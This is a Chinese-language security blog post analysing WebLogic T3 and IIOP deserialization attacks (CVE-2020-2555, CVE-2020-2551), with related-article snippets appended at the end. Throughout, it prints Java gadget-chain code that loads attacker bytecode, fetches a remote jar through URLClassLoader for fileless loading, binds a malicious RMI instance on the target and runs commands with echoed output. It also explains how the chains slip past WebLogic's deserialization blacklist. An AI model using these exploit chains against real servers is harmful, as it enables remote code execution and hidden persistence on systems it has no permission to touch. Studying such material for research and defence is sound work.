weblogic T3/iiop 回显分析

VSole2022-08-16 09:03:59

传统weblogic T3协议回显分析

private static Transformer[] defineAndLoadPayloadTransformerChain(String className, byte[] clsData, String[] bootArgs) throws Exception {        Transformer[] transformers = new Transformer[]{new ConstantTransformer(DefiningClassLoader.class),new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),new InvokerTransformer("defineClass",new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{bootArgs}}),new ConstantTransformer(new HashSet())};return transformers;    }

通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。并绑定一个实例。

org.mozilla.classfile.DefiningClassLoader的定义如下

public Class defineClass(String var1, byte[] var2) {    return super.defineClass(var1, var2, 0, var2.length);}

这样就实现从字节码到类的转变。而我们需要发送的恶意类,主要作用是绑定一个实例,完成攻击者与weblogic的rmi交互即可。恶意类的绑定实例代码如下 

  RemoteImpl remote = new RemoteImpl();
            Context ctx = new InitialContext();            ctx.rebind("aaaaaaaa", remote);            System.out.println("installed");

RemoteImpl一定要继承自ClusterMasterRemote这个接口,才可以完成rmi交互。

下面我们向 weblogic12.1.4 发送一下payload测试一下

可以看出,weblogic早就通过黑名单过滤的方式,禁止该类工具的攻击。下面我们分析一下T3反序列化漏洞

T3反序列化分析

weblogic首先在run函数中监听7001的连接,并调用execute方法去处理请求,也就是req,如图

this.execute的代码如下

void execute(ExecuteRequest er) {        ++this.executeCount;this.setTimeStamp(System.currentTimeMillis());        er.execute(this);    } catch (ThreadDeath var3) {// 各种捕获异常}

ExexuteThread中的executeCount为请求总数,随后调用erexecute去处理。也就是包装请求的类,这里为SocketReaderRequestSocketReaderRequest主要为获取muter,然后调用processSockets去处理请求。

这里主要是通过Nio去处理请求,写入请求等,与漏洞分析的关系不太大。在这里将会根据请求,调用相应的协议处理请求,例如T3,http等

最后在SocketMuxerreadReadySocketOnce中,将请求全部读取完后,调用dispatch去处理分发请求。

最后会调用readObject去读取请求。如图

serverChannelInputStreamresolvClass中,会对待反序列化的类检查一下是否为weblogic黑名单中的类,并防止该类反序列化。这里就是传说中的weblogic反序列化黑名单。

黑名单列表主要如下

即使我们使用其他gadget绕过,结果还是会报错,报错截图如下

说明weblogic 12.1.4 已经无法使用该类。但是现实情况下,我们又不可能直接上传一个文件,或者说为了执行无文件加载,以便更好隐藏痕迹。所以,这里我用URLClassLoader这个类,去加载远程jar包。当然,也算是无文件落地。代码截图如下

改成gadget利用方式代码如下。该gadget目标是触发待加载类的绑定功能,也就是test函数

    ChainedExtractor chainedExtractor = new ChainedExtractor(new ReflectionExtractor[]{new ReflectionExtractor("getConstructor",new Object[]{new Class[]{URL[].class}}                ),new ReflectionExtractor("newInstance",new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}                ),new ReflectionExtractor("loadClass",new Object[]{className}                ),new ReflectionExtractor("getMethod",new Object[]{"test", new Class[]{}}                ), new ReflectionExtractor("invoke",new Object[]{null, new Object[]{}}        )        });

结论

  1. T3协议的传输主要基于java反序列化
  2. T3协议中,如果待反序列化中的任意一个类在黑名单列表,反序列化都会终止,并抛出异常

所以,我们想要在新版本weblogic实现回显,就有如下两个思路

  1. 可以绕过黑名单的gadget 例如cve-2020-2555
  2. 新的反序列化途径,根本就没有黑名单过滤,例如cve-2020-2551

T3回显方案(cve-2020-2555)

既然上面已经分析了,T3的话,我们可以使用cve-2020-2555的gadget去实现相关功能,最终触发恶意类的绑定函数,成功绑定一个实例,并可以实现执行命令,如图,

查看jndi绑定树

不足之处

该gadget无法在weblogic 10.3.6 下使用,因为找不到相关gadget的类,如图

IIop 回显方案(cve-2020-2551)

通过之前的分析,我们可以得出结论,weblogic的iiop反序列化不会使用weblogic黑名单。所以,通过iiop的反序列化漏洞+common-collection相关gadget可以实现通用版本的回显方案。这里需要注意,单纯在攻击端执行bind触发漏洞,是不会绑定一个实例的。即使绑定成功,也无法远程调用的。java反序列化不会传递类的代码和结构,只会传输类中的变量。所以这也就是我们为什么需要classloader的原因。

IIOP绑定实例

首先创建一个iiiop的context

String rhost = converUrl(host, port);        Hashtable<String, String> env = new Hashtable<>();// add wlsserver/server/lib/weblogic.jar to classpath,else will error.        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");        env.put("java.naming.provider.url", rhost);return new InitialContext(env);

然后构造2555或者common-collection的gadget,然后调用context的rebind发送反序列化对象,主要是调用恶意类的bind功能,恶意类的代码如下

gadget如下

 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");        field.setAccessible(true);        field.set(badAttributeValueExpException, limitFilter);        System.out.println("CVE-2020-2555 Gadget构造成功,正在发送中...");        context.rebind("UnicodeSec" + System.nanoTime(), badAttributeVa
lueExpException);

执行成功后如下

当然这个是无回显的,所以我们需要获取远程对象,检查是否已经绑定成功。所以通过如下代码检测

try {            System.out.println("检查是否安装rmi实例");            Context initialContext = getInitialContext(converUrl(host, port));            ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup(bindName);return remoteCode;        } catch (Exception e) {if (e.getMessage() != null && e.getMessage().contains(bindName)) {                System.out.println("rmi实例不存在...正在安装中");

IIOP 执行命令代码

绑定成功后,先要获取刚才绑定的恶意类,绑定名称aaaaaaaa,通过initialContext.lookup函数查找。查找成功后,通过下面代码实现命令执行以及回显

  String commandResponse = remoteCode.getServerLocation("showmecode" + command);        System.out.println("命令结果如下");        System.out.println(commandResponse);

恶意类的getServerLocation如下

weblogicstring
本作品采用《CC 协议》,转载必须注明作者和本文链接
部分getshell漏洞汇总
2022-07-20 10:12:45
即可未授权访问console后台,但是权限比较低备注:此处会出现个问题,在复现的环境中直接拼接
魔改版内网扫描工具
2023-05-11 14:38:25
XScan使用文档前言这是一个缝合怪● go-crack ● fscan?快速上手默认扫描?./xscan -hf ip.txt -finger -vulnscan -xscan 360 -t 100. ./xscan -h 192.168.123.22/24,192.168.123.1-255,192.168.122.1-192.168.123.254 -finger -vulnscan -xscan 360 -t 100 -userfile user.txt -passfile pass.txt. Spy模块进入大内网以后,支持探测指定网段存活./xscan -h 192.168.123.22/24,192.168.123.1-255,192.168.122.1-192.168.123.254 -finger -vulnscan -xscan 360 -t 100 -m Spy. HTTP模块./Xscan-Mac -m http -addr 0.0.0.0:6666默认密码 qax qax
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
去年weblogic出白名单时研究了下怎么绕过,总结出了下面的思路,本想再找找有无新的攻击面的思路,但是找了几次都没找到,后来就搁置了。readMsgAbbrevs函数就会对流中的序列化数据进行反序列化,调用的是InboundMsgAbbrev类的readObject方法,并存储在栈中。这里也就是之前weblogic的漏洞会触发的readObject的地方。但是在21年4月的补丁中,Weblogic使用了白名单,只有以下七种类可以被反序列化,因此所有Weblogic原本的漏洞都无法使用。
weblogic T3 attack&cve
2023-03-29 10:07:32
定义了固定的t3header和反序列化标志头fe010000。RFC1700规定使用“大端”字节序为网络字节序,所以对生成的payload使用>大端模式打包,I表示unsigned int。CVE-2016-0638复现需要打补丁,找不到懒得打了,简单说一下绕过,不写poc了黑名单列表为:+org.apache.c
开始着手对Weblogic历史漏洞进行剖析,周末分析了Weblogic历史上的严重漏洞,一次针对CVE-2015-4852漏洞的补丁绕过。原理虽然简单,但是时间太过久远,一些关键点被历史的长河淹没。找了很多师傅们的博客文章,关于如何封装之前的利用链,大多是用的https://github.com/5up3rc/weblogic_cmd中的现有功能。打算从补丁分析、补丁绕过、利用构造三大方面开始分析
早在今年4月 Weblogic发布了安全公告,里面有一个编号是CVE-2021-2135的反序列化漏洞,因为工作原因需要构造该漏洞POC,当时拿到了安全补丁,但是奈何太菜并没有解出来。
WebLogic是由美国Oracle公司出品的一application server,准确的说就是一个基于JAVAEE而开发的一个中间件,类似Tomcat,WebLogic是一个用于开发,集成,部署与管理大型分布式Web应用,网络应用和数据库的java应用服务器。将java动态功能与java Enterprise标准的安全性引入大型网络应用的开发,集成,部署与管理之中。
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
简介WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
VSole
网络安全专家